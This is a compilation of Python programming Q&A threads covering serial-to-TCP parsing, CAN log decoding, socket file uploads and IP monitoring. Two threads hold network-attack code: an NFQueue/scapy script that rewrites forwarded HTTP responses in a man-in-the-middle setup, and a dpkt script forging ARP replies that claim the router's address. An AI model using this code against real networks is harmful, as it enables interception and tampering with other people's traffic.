I'm currently setting up my new weather station with an RS232-connector and want to parse its data from an WIZ110SR Serial-to-TCP/IP converter using python.
I've already connected it up directly via a Serial-USB adapter, which works flawlessly using this code:
def read_serial():
serialport.flushInput()
serialport.flushOutput()
while True:
data = serialport.readline()
try:
data = data.decode("utf-8").strip()
print(data)
except:
print("This string does not comply with the UTF-8 standard")
This is the code i've gotten so far using socks to gather the raw serial data from the WIZ110SR
def read_serial():
dstrng = ""
while True:
data = s.recv(1024)
dstrng += data.decode("utf-8")
try:
dstrng = dstrng.rstrip()
dstrng = dstrng.strip()
print(dstrng)
except:
print("This string does not comply with the UTF-8 standard")
Using the socks variant, it seems, that the raw data can only be read char by char
Haven't had chance to test this, but you can try using socket.makefile() to give your socket a file-like quality so that readline works, like this:
after creating the socket:
f = s.makefile() # do this once
then to get data:
while True:
data = f.readline()
try:
data = data.decode("utf-8").strip()
print(data)
except:
print("This string does not comply with the UTF-8 standard")
although if your socket is non-blocking (has a timeout) this might not work. YMMV so try it.
Related
I'm trying to create a CAN logs converter from .asc files to .csv files (in human readable form). I'm somewhat successful. My code works fine with almost any database but j1939.dbc.
The thing is, that if I print out the messages read from the dbc file, I can see that the messages from j1939.dbc are read into the database. But it fails to find any of those messages in the processed log file. At the same time I can read the same file using Vector CANalyzer with no issues.
I wonder why this may happed and why it only affects the j1939.dbc and not the others.
I suspect that maybe the way I convert those messages is wrong because it never goes by the if msg_id in database: line (and as mentioned above, those messages are certainly there because Vector CANalyzer works fine with them).
EDIT: I realized that maybe the problem is not cantools but python-can package, maybe the can.ASCReader() doeasn't do well with j1939 frames and omits them? I'm gonna investigate myself but I hope someone better at coding will help.
import pandas as pd
import can
import cantools
import time as t
from tqdm import tqdm
import re
import os
from binascii import unhexlify
dbcs = [filename.split('.')[0] for filename in os.listdir('./dbc/') if filename.endswith('.dbc')]
files = [filename.split('.')[0] for filename in os.listdir('./asc/') if filename.endswith('.asc')]
start = t.time()
db = cantools.database.Database()
for dbc in dbcs:
with open(f'./dbc/{dbc}.dbc', 'r') as f:
db.add_dbc(f)
f_num = 1
for fname in files:
print(f'[{f_num}/{len(files)}] Parsing data from file: {fname}')
log=can.ASCReader(f'./asc/{fname}.asc')
entries = []
all_msgs =[]
message = {'Time [s]': ''}
database = list(db._frame_id_to_message.keys())
print(database)
lines = sum(1 for line in open(f'./asc/{fname}.asc'))
msgs = iter(log)
try:
for msg, i in zip(msgs, tqdm(range(lines))):
msg = re.split("\\s+", str(msg))
timestamp = round(float(msg[1]), 0)
msg_id = int(msg[3], 16)
try:
data = unhexlify(''.join(msg[7:15]))
except:
continue
if msg_id in database:
if timestamp != message['Time [s]']:
entries.append(message.copy())
message.update({'Time [s]': timestamp})
message.update(db.decode_message(msg_id, data))
except ValueError:
print('ValueError')
df = pd.DataFrame(entries[1:])
duration = t.time() - start
df.to_csv(f'./csv/{fname}.csv', index=False)
print(f'DONE IN {int(round(duration, 2)//60)}min{round(duration % 60, 2)}s!\n{len(df.columns)} signals extracted!')
f_num += 1
class can.ASCReader(file, base=’hex’)
Bases: can.io.generic.BaseIOHandler
Iterator of CAN messages from a ASC logging file. Meta data (comments, bus statistics, J1939 Transport
Protocol messages) is ignored.
Might answer your question...
I'm trying to construct a man in the middle attack on a webpage (i.e. HTTP traffic). I'm doing this by using a Linux machine attached to Ethernet and a client attached to the Linux box via its WiFi hotspot.
What I've done so far is use NFQueue from within the IPTables Linux firewall to route all TCP packets on the FORWARD chain to the NFQueue queue, which a Python script is picking up and then processing those rules. I'm able to read the data off of the HTTP response packets, but whenever I try to modify them and pass them back (accept the packets), I'm getting an error regarding the strings:
Exception AttributeError: "'str' object has no attribute 'build_padding'" in 'netfilterqueue.global_callback' ignored
My code is here, which includes things that I've tried that didn't work. Notably, I'm using a third-party extension for scapy called scapy_http that may be interfering with things, and I'm using a webpage that is not being compressed by gzip because that was messing with things as well. The test webpage that I'm using is here.
#scapy
from scapy.all import *
#nfqueue import
from netfilterqueue import NetfilterQueue
#scapy http extension, not really needed
import scapy_http.http
#failed gzip decoding, also tried some other stuff
#import gzip
def print_and_accept(packet):
#convert nfqueue datatype to scapy-compatible
pkt = IP(packet.get_payload())
#is this an HTTP response?
if pkt[TCP].sport == 80:
#legacy trial that doesn't work
#data = packet.get_data()
print('HTTP Packet Found')
#check what's in the payload
stringLoad = str(pkt[TCP].payload)
#deleted because printing stuff out clogs output
#print(stringLoad)
#we only want to modify a specific packet:
if "<title>Acids and Bases: Use of the pKa Table</title>" in stringLoad:
print('Target Found')
#strings kind of don't work, I think this is a me problem
#stringLoad.replace('>Acids and Bases: Use of the pK<sub>a</sub>', 'This page has been modified: a random ')
#pkt[TCP].payload = stringLoad
#https://stackoverflow.com/questions/27293924/change-tcp-payload-with-nfqueue-scapy
payload_before = len(pkt[TCP].payload)
# I suspect this line is a problem: the string assigns,
# but maybe under the hood scapy doesn't like that very much
pkt[TCP].payload = str(pkt[TCP].payload).replace("Discussion", "This page has been modified")
#recalculate length
payload_after = len(pkt[TCP].payload)
payload_dif = payload_after - payload_before
pkt[IP].len = pkt[IP].len + payload_dif
#recalculate checksum
del pkt[TCP].chksum
del pkt[IP].chksum
del pkt.chksum
print('Packet Modified')
#redudant
#print(stringLoad)
#this throws an error (I think)
print(str(pkt[TCP].payload))
#no clue if this works or not yet
#goal here is to reassign modified packet to original parameter
packet.set_payload(str(pkt))
#this was also throwing the error, so tried to move away from it
#print(pkt.show2())
#bunch of legacy code that didn't work
#print(GET_print(pkt))
#print(pkt.show())
#decompressed_data = zlib.decompress(str(pkt[TCP].payload), 16 + zlib.MAX_WBITS)
#print(decompressed_data)
#print(str(gzip.decompress(pkt[TCP].payload)))
# print(pkt.getlayer(Raw).load)
#print('HTTP Contents Shown')
packet.accept()
def GET_print(packet1):
ret = "***************************************GET PACKET****************************************************\n"
ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
ret += "*****************************************************************************************************\n"
return ret
print('Test: Modify a very specific target')
print('Program Starting')
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_accept)
try:
print('Packet Interface Starting')
nfqueue.run()
except KeyboardInterrupt:
print('\nProgram Ending')
nfqueue.unbind()
Apologies in advance if this is hard to read or badly formatted code; Python isn't a language that I write in often. Any help is greatly appreciated!
Mainpage displays my front page and upload is supposed to display the page
where you enter the file you wish to store with the server
def upload():
path_name = raw_input("Enter your file directory")
open_file = open(path_name,'rb').read()
name_split = path_name.split("\\")[-1].split('.')
at = 1
s.send("SAVE-"+username+"\\"+"".join(name_split[:-1])+"."+str(at)+"."+name_split[-1]+"-")
while open_file:
current = open_file[:1024]
print current
open_file = open_file[1024:]
s.send(current)
def mainpage():
global R2
R2=Tk()
gg="white"
g="blue"
R2.geometry('720x720')
R2.title(username + " Dropbox")
R2.resizable(width=False,height=False)
logoutbt= Button(R2,text="Logout",width=10,height=2,bg=g,fg=gg,font="5",relief=RAISED,overrelief=RIDGE,command=deslogout)
upload = Button(R2,text="Upload",width=10,height=2,bg=g,fg=gg,font="5",relief=RAISED,overrelief=RIDGE,command=desupload)
retrieve = Button(R2,text="Retreive",width=10,height=2,bg=g,fg=gg,font="5",relief=RAISED,overrelief=RIDGE,command=desretreive)
logoutbt.place(x = 220,y = 500)
retrieve.place(x = 350,y = 500)
upload.place(x = 480,y = 500)
R2.mainloop()
open(path_name,'rb').close()
Now when I add the command mainpage() to return back to to my main page after sending the file to the server,the server gets stuck in an infinite loop
ServerCode
if message[0] == "SAVE":
if not os.path.exists("C:\Heights\Documents\Projects\HomeWork\Project\Server1\\Files\\"+message[1].split("\\")[0]):
os.makedirs("C:\Heights\Documents\Projects\HomeWork\Project\Server1\\Files\\"+message[1].split("\\")[0])
file =open("C:\Heights\Documents\Projects\HomeWork\Project\Server1\\Files\\"+ message[1],"wb")
content = ""
while True:
data = current_socket.recv(1024)
if not data:
break
content += data
file.write(content)
file.close()
The file reaches the server fine when I don't try to return, but the moment I add that one extra line, the server doesn't exit its loop where it receives all the file content. Also,if I try to get a response from the server when it's done writing all the data down, the client and the server get stuck.
Python's socket.recv(...) inherits semantics from Unix recv(2) function, and as stated in recv(2) man:
If no messages are available at the socket, the receive calls wait for a message to arrive, unless the socket is nonblocking
Therefore, since current_socket is blocking, your server just hangs on the line data = current_socket.recv(1024) infinitely right after the whole file has been read to the content variable until the socket on the client becomes properly closed.
To avoid that:
On the client side send your file size in bytes before sending any of its contents:
import struct
...
file_len_bytes = pack('!i', len(open_file))
s.send(file_len_bytes)
while open_file:
....
On the server side read your file size and then use it to check whether the whole file has been read:
import struct
...
file_len_bytes = ""
while len(file_len_bytes) < 4:
file_len_bytes += client.recv(1)
file_len = struct.unpack("!i", file_len_bytes[:4])[0]
content = ""
bytes_read = 0
while bytes_read < file_len:
data = current_socket.recv(1024)
bytes_read += len(data)
content += data
Firstly, As a general rule, waiting for the socket to return nothing(empty string or whatever), is a bad idea. That is because in python a socket would only return empty data if the other side closed his socket. But if there was a problem or for any reason the socket was not closed properly, the socket.recv method would hang perhaps infinitely.
Secondly, I see that you intend to instantiate your TKinter App more than once.
This is bad practice, and you should consider just hiding your main window.
Hope I was helpful.
I have just learned the basics of Python, and I am trying to make a few projects so that I can increase my knowledge of the programming language.
Since I am rather paranoid, I created a script that uses PycURL to fetch my current IP address every x seconds, for VPN security. Here is my code[EDITED]:
import requests
enterIP = str(input("What is your current IP address?"))
def getIP():
while True:
try:
result = requests.get("http://ipinfo.io/ip")
print(result.text)
except KeyboardInterrupt:
print("\nProccess terminated by user")
return result.text
def checkIP():
while True:
if enterIP == result.text:
pass
else:
print("IP has changed!")
getIP()
checkIP()
Now I would like to expand the idea, so that the script asks the user to enter their current IP, saves that octet as a string, then uses a loop to keep running it against the PycURL function to make sure that their IP hasn't changed? The only problem is that I am completely stumped, I cannot come up with a function that would take the output of PycURL and compare it to a string. How could I achieve that?
As #holdenweb explained, you do not need pycurl for such a simple task, but nevertheless, here is a working example:
import pycurl
import time
from StringIO import StringIO
def get_ip():
buffer = StringIO()
c = pycurl.Curl()
c.setopt(pycurl.URL, "http://ipinfo.io/ip")
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()
return buffer.getvalue()
def main():
initial = get_ip()
print 'Initial IP: %s' % initial
try:
while True:
current = get_ip()
if current != initial:
print 'IP has changed to: %s' % current
time.sleep(300)
except KeyboardInterrupt:
print("\nProccess terminated by user")
if __name__ == '__main__':
main()
As you can see I moved the logic of getting the IP to separate function: get_ip and added few missing things, like catching the buffer to a string and returning it. Otherwise it is pretty much the same as the first example in pycurl quickstart
The main function is called below, when the script is accessed directly (not by import).
First off it calls the get_ip to get initial IP and then runs the while loop which checks if the IP has changed and lets you know if so.
EDIT:
Since you changed your question, here is your new code in a working example:
import requests
def getIP():
result = requests.get("http://ipinfo.io/ip")
return result.text
def checkIP():
initial = getIP()
print("Initial IP: {}".format(initial))
while True:
current = getIP()
if initial == current:
pass
else:
print("IP has changed!")
checkIP()
As I mentioned in the comments above, you do not need two loops. One is enough. You don't even need two functions, but better do. One for getting the data and one for the loop. In the later, first get initial value and then run the loop, inside which you check if value has changed or not.
It seems, from reading the pycurl documentation, like you would find it easier to solve this problem using the requests library. Curl is more to do with file transfer, so the library expects you to provide a file-like object into which it writes the contents. This would greatly complicate your logic.
requests allows you to access the text of the server's response directly:
>>> import requests
>>> result = requests.get("http://ipinfo.io/ip")
>>> result.text
'151.231.192.8\n'
As #PeterWood suggested, a function would be more appropriate than a class for this - or if the script is going to run continuously, just a simple loop as the body of the program.
I am trying to read an ARP request with my python script which is on my computer that is running Ubuntu 14.04. Wireshark shows that I AM receiving the ARP requests but I am not able to read it with python. I am not sure if the problem is in my computer or not, but I think that somehow the problem is in my computer and not the script.
I am running this script with sudo python "..../name.py"
This is my python script so far:
import dpkt
import socket
import binascii
import time
def to_Readble(addr):
s=list()
addr=binascii.hexlify(addr)
for i in xrange(12/2):
s.append(addr[i*2:i*2+2])
r=":".join(s)
return r
def to_Sendable(r):
s=r.split(":")
for i in xrange(6):
s[i]=binascii.unhexlify(s[i])
addr=''.join(s)
return addr
def buildARP(src_mac, src_ip, to_mac, to_ip):
arp_p = dpkt.arp.ARP()
arp_p.sha = to_Sendable(src_mac) #add configure
arp_p.spa = socket.inet_aton(src_ip)
arp_p.tha = to_Sendable(to_mac) #add configure
arp_p.tpa = socket.inet_aton(to_ip)
arp_p.op = dpkt.arp.ARP_OP_REPLY #reply
packet = dpkt.ethernet.Ethernet()
packet.src = to_Sendable(src_mac)
packet.dst = to_Sendable(to_mac)
packet.data = arp_p
packet.type = dpkt.ethernet.ETH_TYPE_ARP
return packet
raw_sock=socket.socket(socket.PF_PACKET, socket.SOCK_RAW,socket.htons(0x0003))#changed ver
raw_sock.bind(("eth0", dpkt.ethernet.ETH_TYPE_ARP))
#dns_sock=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#dns_sock.bind(('',53))
my_mac=to_Readble(raw_sock.getsockname()[-1])
print my_mac
#my_mac="e0:06:e6:d7:c6:c3"
dif="00:00:00:00:00:00"
dif1="ff:ff:ff:ff:ff:ff"
rout="192.168.122.1"
ip_macs={}
print "running"
while 1:
for i in ip_macs.keys():#sending stuff
raw_sock.send(str(buildARP(my_mac,rout,ip_macs[i],i)))
try:
# raw_sock.recv(1024) Blocks the script!!!!***!!!
data = raw_sock.recv(1024)
print "got arp"
...
Someone has an Idea for why I am not getting the requests?
You need socket.listen() after the socket.bind().
Rather that repeat other answers, see this So Answer:
(Very) basic Python client socket example